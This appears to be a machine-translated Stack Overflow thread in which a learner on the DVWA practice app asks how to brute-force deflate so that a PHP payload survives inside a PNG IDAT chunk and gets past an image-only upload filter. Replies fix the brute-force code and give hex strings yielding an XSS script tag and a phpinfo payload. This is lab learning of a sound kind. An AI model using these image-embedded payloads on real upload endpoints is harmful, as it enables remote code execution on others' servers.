PNG的IDAT块上的PHP shell

3
我正在学习有关文件上传高危漏洞的DVWA。我想绕过过滤器,该过滤器仅允许上传像jpg或png这样的图像。因此,我计划将有效负载<?=phpinfo();嵌入到图像文件中。经过搜索,我发现了这些很棒的博客:
  1. 通过PNG和奇怪的内容类型在Facebook上进行XSS
  2. 在PNG IDAT块中编码Web Shell
  3. 重新审视PNG IDAT块中的XSS有效载荷

我太懒了,不想学习Deflate算法并搜索png shell生成器,所以找到了这个很棒的存储库:

  1. 使用PERL生成PNG载荷

克隆并运行后,它能够很好地工作。但是,该载荷是针对XSS漏洞的输出结果在此处

<SCRIPT SRC=//ABC.DE></SCRIPT>

我希望完成DVWA的目标。它说:
任意在目标系统上选择执行任何PHP函数(例如phpinfo()或system()),感谢此文件上传漏洞。
因此,我想要的有效载荷是:<?=phpinfo();?> 嵌入到PNG的IDAT块中,这个有效载荷可以在IDAT的过滤和压缩中存活。从存储库中,我找到了先前由f1n1te/idontplaydarts博客描述的bruteforce()逻辑。我复制源代码并尝试使用我的有效载荷here暴力破解deflate压缩,但在符号字符上失败。基于源/生成器,我有两个问题:
  1. 为什么在源代码上,暴力破解在符号"<"和"?"上失败,还有另一个ASCII符号?但它可以在ASCII "a-z"和"A-Z"上工作。
  2. 我找到的3个博客和1个存储库都使用此有效负载来暴力破解Deflate:

    7ff399281922111510691928276e6e5c1e151e51241f576e69b16375535b6f - f1n1te f399281922111510691928276e6e562e2c1e581b1f576e69b16375535b6f0e7f - Adam 03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310 - idontplaydarts 0000f399281922111510691928276e6e5313241e1f576e69b16375535b6f0000 - 存储库

这些人是如何获取所有这些有效载荷来对 Deflate压缩 进行暴力破解的?

你是如何在代码第17行获取$brute变量的前缀和后缀的? - ass-king some questions
1个回答

2
暴力破解失败是因为它太短了。你需要5个半字节,而不仅仅是4个。我用箭头标出了额外的数字。
0000f399281922111510691928276e6e....1f576e69b16375535b6f0000 your template
0000f399281922111510691928276e6e51121f576e69b16375535b6f0000 "x\234c`\370<SCRIPT SRC=//PH></script>\3\3\0w\314\10)"
0000f399281922111510691928276e6e576f5f576e69b16375535b6f0000 "x\234c`\370<SCRIPT SRC=//<?></script>\3\3\0w\314\10)"

该程序还存在一个问题,它无法完全穷尽搜索空间。sprintf的格式说明符必须进行零填充,否则十六进制数字字符串将太短;换句话说,在原始程序中,它必须是%04x而不是%x

嗨@daxim,我已经修复了我的代码在这里,但似乎卡在了bruteforce4上(我还在努力)。是的,你说得对,之前我的代码失败了,因为它太短了,并且格式说明符出错。到现在为止,我一直在进行暴力修复,需要几个小时。顺便问一下,你怎么知道我在模板中需要5个nibbles。而你用箭头标记的nibbles位置,真是太神奇了,我没有意识到那个。 - Dzulfikar Adib
0000f39928192211151069192827576f511211221e1c2e12626b6f5f5f576e69b16375535b6f0000x\234c\140\370<SCRIPT SRC=<?PHPINFO();?>></script>\3\3\0\307\17\n\233 - daxim
你是如何在代码第17行获取$brute变量的前缀和后缀的? - ass-king some questions

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接